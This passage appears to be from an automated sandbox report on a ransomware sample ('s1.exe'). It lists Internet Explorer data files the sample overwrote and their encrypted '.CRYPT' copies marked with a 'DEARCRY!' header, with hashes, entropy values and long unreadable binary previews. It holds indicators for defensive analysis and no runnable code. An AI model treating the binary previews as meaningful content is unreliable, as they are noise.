                                                              SHA-512:14093B14FB5E1C8DB20FE1A03EAB13746C755EC124BBFB6E6FE5020F8BFF633C43EA2E6FA07E861E731D42D3802D8B8C0AF60A0CF4810B82845A7ADA7CA46699
                                                              Malicious:true
                                                              Preview: DEARCRY!......H.....`..{.5.VK0..AH$.l..o....=G.I5.Te:P......D....|.(...U\w.z.C...'....G............rj..:.>?O..O.6{..~..m..),)GL.Xp.'...G{..........M.p(.s{.X.O.>._!.~.....0......A...w.a(...e......G.....X[...m.2.Y.QE..9|P.(Y:..1K..w...,..S.....DL.<.a..H................Ig..V..p.y ..=.K.....a...pZ.vFa.x.z...O.+.h.{;.qY.;\;.O.P5j..C0H.aG.p.2...wa......|.0.z...].5....j1.r./..l./......,.#.(.....YQ.(.......u1..+T.n...!#...S.n..CA7;.g.B...c....7.X..........b9..(..Y..........&k*.B..4g....+....x..O"n.`.V.*....?.%..A..q...0....N.i....3...$au.D..'.erM..V..S`E.oK.*........p.sz:...(b..J....M4......{./O>...7.Z@.j.a........H.P .8T.R.$.j..*..w.p..B.Q]BL..q.th...V.Bp.lM.g....P.t...e...\.I.+{.....@.&...F...x+...q..GrL.9)1.'wV.]......<....0.M..K..\(.oa....n..`.F.3.{r-...0...3...6..G...lp{.U."Q.6;.*R._j.O.>.09r{....f"..v..j..Y.A..?M..q.../E..j{/..Q'.=+.`.|.g....\..Z...!]..B.'.F..[..C.F..Pfs....H]..e<....r......q......FLL;dbq...S<#.m^.q..t. n..T.3Y....v..=&..G....F\s.
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):196480
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5A0707A2E9AFA38A9358B85A88E50ED1
                                                              SHA1:4C1FB158D506BFC73D5AA8269012D24D342E2B31
                                                              SHA-256:5A74FD38B371C7062B4E68EA0E85CEE256BF61E9BBD4DB59814F684D0BE478CE
                                                              SHA-512:8C772398E9E7A2EFF4A0CE1910E1B70F60F21FD70B4D8328F14E2060017C32DF46FEB391A43D59F6585E5E3E4DD7D8F8467DC21950E14C7281514943BEA6A326
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):197664
                                                              Entropy (8bit):7.99908273656388
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:742A5E8945E424456DBE0C595C1E2C48
                                                              SHA1:E4F3CB7BFC2AD398F2EDD69D94DF25F943A052DA
                                                              SHA-256:E3CFDD2B6726B067AB34DF7B7163D50218D4FF30C27C91A680404D5220192A76
                                                              SHA-512:DE008D1C60B4573658AFD4823EEE299149F9021A24D423C5C99111E21A9A04BEB608CEA48E989CEA54CE28E30D8FE4069E8BFB4492D7ADC777CC878DBF33AEA9
                                                              Malicious:true
                                                              Preview: DEARCRY!.....B.P.kv"...xV.....o......<._.$..........5>....9....Skk$.E.b..J.....nE8...dL]mV....S..km.....R?..@........?....= ...H.b.K%AC@y.2kl........6.7zl....F...zB.SZ..S.qO#.m..D...,.xY...2..:.{R...S...x`..:..{.R.9H..F...Zkm.+.R.7L.O.........,z. .i...........z.J.c.cw..y.........."........m..>...B....wF....P.....P......#....|...$..nUz...6.M...$...}.q5.uV@...1.=....ZY5%M.H.&l.bgU..p....~Y.<h....../..U.f....*.u.?..@RK..Q.....qk...h...w.......}....b.:{8..B.....DS.,YH.i.G~Nd..a...M9..}..j..t.....%.....Y."O._%..d...ZE....^....xQ2.F...,x/.....h.....'.e........]{...j.D..O.e.k........U.Fh...!....B..b....f7..._.:.t.h\`.Tu<......`..=.....?...s)`....G.]r.@......iE.....S.....wg6.6....../.F..;C.=-.K.M?m......UWL.N.Y2....B......(2....V.7........KlK...E,$.....i....../Jo.I.f4r.Zz.O..h..-z..>..}.cC.U..|..VV.!.b..c#u?..\........g......SI.W..7a.l..Q...`.i^....D#..YR....F..Z.C.:..f...l.|I.....?..`..<..._...f........!..0..D..l.*M.....A}....|...g"..G...
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\Last Active\RecoveryStore.{412A71A6-9900-11E9-90D9-ECF4BB862DED}.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):7168
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:94D9A06AA533909B7A23B6754CBC0F3C
                                                              SHA1:027ED7B41250F3DCC31D4ADEB1E939866CCF807B
                                                              SHA-256:5C8B6E196B88D135BE9623887A0D50B38984884EF6779A0FA8BE3212C6183872
                                                              SHA-512:403B0035AB5E50FE3086E6ED8FB2FC17166EB1F4F249A3BA3FEAB120605BD9C3E5BB95111CA2FB5A20830BBC2967F42D51F4FD5558337696EA58C778A2375EB1
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\Last Active\RecoveryStore.{412A71A6-9900-11E9-90D9-ECF4BB862DED}.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):7464
                                                              Entropy (8bit):7.9701340843328135
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A2E991905C2E8A9867BD5429853F9B45
                                                              SHA1:B58F902D2BADC50ECAC5D1A39C9DCFF8C6774CD2
                                                              SHA-256:C5683B9494C6D8B179FB22A105C400C0ADB672937C2027B36DD409548E93E735
                                                              SHA-512:804C08F1B2E0F915386553ACC976BE2C08B828FA096AF9E6968D1B9B2D044DB4DECD33578640A38DF0999679928FF1FEECBBBEBFA75753CB8F6CA5D0FE8CF843
                                                              Malicious:false
                                                              Preview: DEARCRY!.....Ac.M../.s.C......z{.B*..4......@\#.......4...wo4zg.C....b.K.'..!......LY.y.=b.;.0..g.C...........H>=W..Y.Oe..n...\/r3.=.3..../..n,...q......3<...gg...}..w.Z.cG...l9....6(..,.a.].(y...m..~B...J.... ..9...."...5.y.h.b...Im..A..c..)...=..0...bx..>.............8...i..,...1..t.W8y....5+.d......\].....Ix..W8:!X..R.Yfg.:..kC...OD#...?....+.=....".?....~.WO.....}<.%_.r...8}.-....@ ...x...+..5..I.s.X_..`m......H1.......]....N....rb._.dK..i#?/...#.. ....x8.i.p...C;.E.Y~.:\!.%....0.gd..r8.........a..4.Ap t.&.&-y.Q.:Uw.~....?..e........r6Xo..e.....hV...3..F..T..O4.r.Z..z..P=.&=!.. .r..|{.._......m..O..y.w..\5.P...Ca=YxS*.U..h...J.7.....t]|..../...8[...m..i...!.5..............>..e(....g...]..g`.".|op..7...3..*..!...@f...`@?z.z.x3S..$..W....zT..7...u...1p9....[p.<..*..8......f!.1..5.=v......HC...C.....2.(....0.;.6[...S.b.zW.kI..J..q.*..,^..f..[=.=...Wx....TZ._....si+..o...&.........S.l....?S.z...0...U.^.]...}j.._.7Ft.5).....'..Yk6...DA..$..
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\Last Active\{C10454D4-032C-11EB-90E3-ECF4BB862DED}.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):22528
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5A5554644E84E2D60E20191A1F635022
                                                              SHA1:A33BEA3CD283EA94333C89D255A15D8C0AD7C536
                                                              SHA-256:15EA9908E8D4DF1D734063F2D0A2EB828D6A1E540C166E7A0DB0CBBB88E44EEE
                                                              SHA-512:B931D87AFE48CFECDE5E9EC2F857B12A0C52AF946F3AAF7CA70607AA82711B1A7C867E4DAA12089C2D96D8702F12DC4B982E62CDD14F63392CEC191AE11E73D8
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\Last Active\{C10454D4-032C-11EB-90E3-ECF4BB862DED}.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):22824
                                                              Entropy (8bit):7.990879184980823
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:627EF6594E203B38CC24D23C2A06F1D8
                                                              SHA1:37DC3638F3D144BA9DD9695BE119739749E7560D
                                                              SHA-256:D37EE7B8BBB435CB68FE81208AD54789BEC06C0A86C7B85414C2212770E6D966
                                                              SHA-512:1432DB581B1E7F42F2FDC347CD7F34C1322C848B96EBEC7F65AD89D449CB1DCE652D558CD7BB33EAF67C3F46021ECCC4F1D9B6A691A3AF5222A8DA7792D80852
                                                              Malicious:true
                                                              Preview: DEARCRY!....?\........`!..(..T.C...\Y{X......L..O.7.<...&X.....0....6.....?...s.........*..5..w..wC.x.B.a.._gm.KaW......z6.U..Kh=..d..0m.-..i.C....9......9n.....?m(k..,...P5[e.ts......U...n.g7.L.!JOa.M...q..fa...T....H......1.D%.........r.x....wBV'/.G..J.....X......"KBV.f0.;%..{.k..l7..?.3.....1"...GNRu.AU.,.=.|..=..'P.F...:....I.q.S.k.p.BhA.O....*Ob.z8..0.h.......Q3...5z:.ES.O..g..+..u...P{[........T..=F.X.K.....l.5...I...I.2..yz..*:.L..H.2..x` n..)...aE.C.....w>n......#p.C,...YJ.{R...F2.FH56.{.`......9-...q{.....V..s.o...y_...2....{....:...}.;..vB$..Cw..\M.U}B.....;.s.ro.|..t...Ik.55.h37w...J..O;..%.{....X..~..`.J.B.KH2d>.y.&.ap..v..C5}....3.5..[p.}.<..~~y!'..M..U\Z..b$.t..\......p.Q.0...#....a#.7........[}.:=....H=7.7I..T.........w$....V.q.'v..S.O....i^{.....;.e^..%..j...8......$...`q...~2`...)d........m4...9+...X.H.#./..s..HM.v~.cJ..Q....u.h.(..W. ..4!.6c..f+d(..J..}.UwU^G...Y%reM..8......U..cV+;/v...2?.".t.&^.9....5.,.pg.~#.B
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\Last Active\{C10454D5-032C-11EB-90E3-ECF4BB862DED}.dat
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):163840
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DD0322C82CB410B542EEFD334E9AC469
                                                              SHA1:24FDA59C87FF7652DD033FE2840C2DD734CFCE7D
                                                              SHA-256:B1F90D4AED6E6C531EF20A96654089A2731CCF84B249007260C3CCE0EEC38764
                                                              SHA-512:BC7CEF4D85A78EBF1CA421AF63DAA792B16D514848AA7FC1812F9711847E02EA07AE617A58015029CA584C142391ADCD499367B76E5649EC204C16C42B996164
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\Last Active\{C10454D5-032C-11EB-90E3-ECF4BB862DED}.dat.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):164136
                                                              Entropy (8bit):7.998806717362954
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:3618FC89C94BAB88A58B69EBE619638A
                                                              SHA1:A60B4E17F12C22E64E2D8A5DBDC0D745BA7FD6F7
                                                              SHA-256:AC08DEBD0A9679E412E6F265B018892DE0B2C92AA0ACCCFA88C613051466B63A
                                                              SHA-512:9E969AD4A85DAA3906B81B1EAEFCA59DCDA8B0214553C27C22B732B5E5431C9732D8C96C02C26E222488A168C7D21CB793D7D2B242C63D6E05F4EB53DABE00C6
                                                              Malicious:true
                                                              Preview: DEARCRY!....:....z^...iu..nm.B~'...,..XLg?..k;.....A..mi,..iA........B.4.9..O....h5...#>.......R5..;.,.j=t....o...f_....h..$.CN...?...3I..h.E....I....t.@....h..KI..b.]. C6..q..._....2.OG....S.(..2..|.]Z.....?H*.7......JL..Q.Y...>_Ad..... ..G1.........G2$1.............R<t.....QQ.@e....R2.........k.}.._..L.VO.V.a....`.0jo..F.`.(......3.j..k......cC.`E..YW.E.....n.bDW..8..s.q...h...n.?<..,...J.H9...5C0..o's.eV.P..Ob..-..g..Z..L2.a.o.2.feD..k...jV..r....,.2B.g..F....)6?X.x..m...R.....@....,.s.Y..l?...v. .-@...Z......dY..l.....S.."..t|.?.i..Z.B..[........4......V^........GN`...]t}.8a.@....)>..-.6.n...71....(..+'........!..vI.I..v4P.+7..[A.K..hYH..(<.L...:..wP!i......:....s.>.E..}....09.#G.O.Rk.q...\.....V.....JR2..Bu.GmL:-..v;.......F.[./0.]((O.{.U......0.d4....r.9..=k..Y.@z.X.+...5n...n.`..(..[E|..XX....5o.Tf.!.d..~.u..g...@....[^`.z.w.xn.a;8..{.E.....j#....Y.xa....R2.=.......d.........E.aO..<I....{.;..(.\..1./.v.)x..j..!....RT.3VN;...C..V.:5|..
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-314712940\msapplication.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):410
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0B31D0060E1AD0AF24A0A8D63D9FE0E7
                                                              SHA1:1CAC5A2A308AD6E0E5729D6B0E1236924716B30B
                                                              SHA-256:B8BBA74CEE0BA7696D7FEF8E80579BF56E4B8A83F2EABF3E0D9B90EB5F90BAA7
                                                              SHA-512:98F4DFD2E3539CD4282C4A8A451EABA4B3ADAC5D21327FF69759FE156CE276414893F66E90783155EF0E96F3BD1B3C88DFD97B0F6ACBBE63157E5B52F7F31EF3
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Tiles\pin-314712940\msapplication.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):696
                                                              Entropy (8bit):7.711836393082497
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5BF557D940761B64D77C35E8C2C7240D
                                                              SHA1:BE0FD4B64F15A342BCABC53930344F105A59A51D
                                                              SHA-256:C4E057EE21423DE6A3807E49DE33C47FCFA63E3D32BFB5FA29BF02A67593F4EC
                                                              SHA-512:C697988AEAA40BDD6F476E57A165CA8D12A46FED8DDA84F8CE395E9CA0ABDAAD407E99C49F4EA80DA4A9BC0CF4CDAB2556E13FFBF3812C113F3BA88CB21A58F3
                                                              Malicious:false
                                                              Preview: DEARCRY!....w..u.E.d.....5b....5V.1.p.D1......?....B........F.R8..i.w.B.}...|.ju...XBA..l....zI..,...OV.....r:JM.<.0........Z..(.."64].w......Zp;....6..t......T..":j.\s........Cti......0...DZ.J.B!J<..c...6...,0....:..(3..../6.L....-:W;i~U.~.\......0..............].s..).?c....zH2%.....$).........s{.9S.oV@=..A...Y..|.E...p4._..b....z.H.s.4..a.\!..[g.q+&^.....Ro..[..un..:G....@.9?.v.h.G..cB.....si........T>}S.FHFE...z1,.NO....,...L...G....g.r&.o..d..R.}E...d......&P....4.Y.........%F...c.:c.?...[..x.C.E...:../....r3.W...'D#..N.E..A1....f0._..=.#..Ej..4 ...y..S.y.A.@......I....s......s.'0.x.......7...'.=..k.e..qEBv{.h.r.....].........^.U.g....D.. ...
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\UrlBlock\urlblock_637194112741176080.bin
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):35617
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0D40C1F991C058F339A1A607574F1714
                                                              SHA1:6FCC029443A6B02C7F719E750D3387191B05C392
                                                              SHA-256:167543DDB752B54ED8C9166470D893AB1581D0A9FC58D2C6742828D0B73AA050
                                                              SHA-512:0B0B48984842505C4E97F8C5257DB10BDE9E454A4A9330196EE193A7C9C6BC36EEF8187DDC07493F1DDA767C37D29125002C7FD50ADC72FD30AC040BD06C624B
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\UrlBlock\urlblock_637194112741176080.bin.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):35912
                                                              Entropy (8bit):7.9949417838466745
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:DD3479CD7408C99E3CBD4F8A0CAF4754
                                                              SHA1:D4D0EC1009DDF1265EE2F06F81A9AB92ECE0C9BD
                                                              SHA-256:DDD10AD1720F154C6B59E29BC7BD1469AC6F1439D71FDD93677C9F3A98CB0C82
                                                              SHA-512:3AE16D84B7C78E73AA94421E7098194AB8D12788036766773DC071FB757FC08DE517553C83B01C53FA54A01B1D5CBC9EA9A71A134C5CA3056549F0FBE93FC36D
                                                              Malicious:true
                                                              Preview: DEARCRY!.....K.N..v...J..K....;...tNH..[.=..... C\h..a( .y..l}0zQ.+y_xv.u.S..&..l.%M..o....;/..vNU.......1.l,$o...E.\.9..K...J......".f....Y%..4q...t..G@+Y.f.?.....kvmj...jH.'..X:+;k......h.Y.17.N1...#.l....c..M.wV..+...Ey{.H;..A...w.:...G..%x 39..w....%.8.n.....!......."..0J@....J2.BL.|.c......../.C.C.H.!...m.VL....h.?.b............E@,)0.^...#..8.........\..Gw!|2..h=Mn}.[.a.5.....>.D.d.......M%..eS:......<a./,.."..Ixmh#....A.s.=..'..+?Xl.\`.#..7%.5v..3)....^.....N.^..~r(.,.!......cGI..rN)..r.<.g..D...n..u}.>..4Mn..'].......9q.*KTWwt.dNs}'....J.~nk..`.p..KF..G.d.>....x........n.....^....."i..l.....~+...5*..5....j.?..B..v..eY5....>..z.@.......X.[$..S..*\...M..l...U .5.L\.<}\~77z...w..;..JcJj.....K<..{X....TgX.M........Ly0=.H...........K.G.!...8\..j.W..O..`.._....}...d.....D..x...s_.....I.3.Z<..g..........IC\%|t..{m.B.Y+.....b.....I..h=.D{%.;n....z.4.56..`.s...s.j...q.,.,1#`c[$.9.|..j "..K.YTv.v.d.q.<-..f........*3..a...W.|%.P.R....OE"..>...\..
                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\VersionManager\versionlist.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):47535
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E71A726F00F132F9C3EE37C76D7E74C3
                                                              SHA1:1AA19EA95CE8C30956E24115C033DBCF43C5D77C
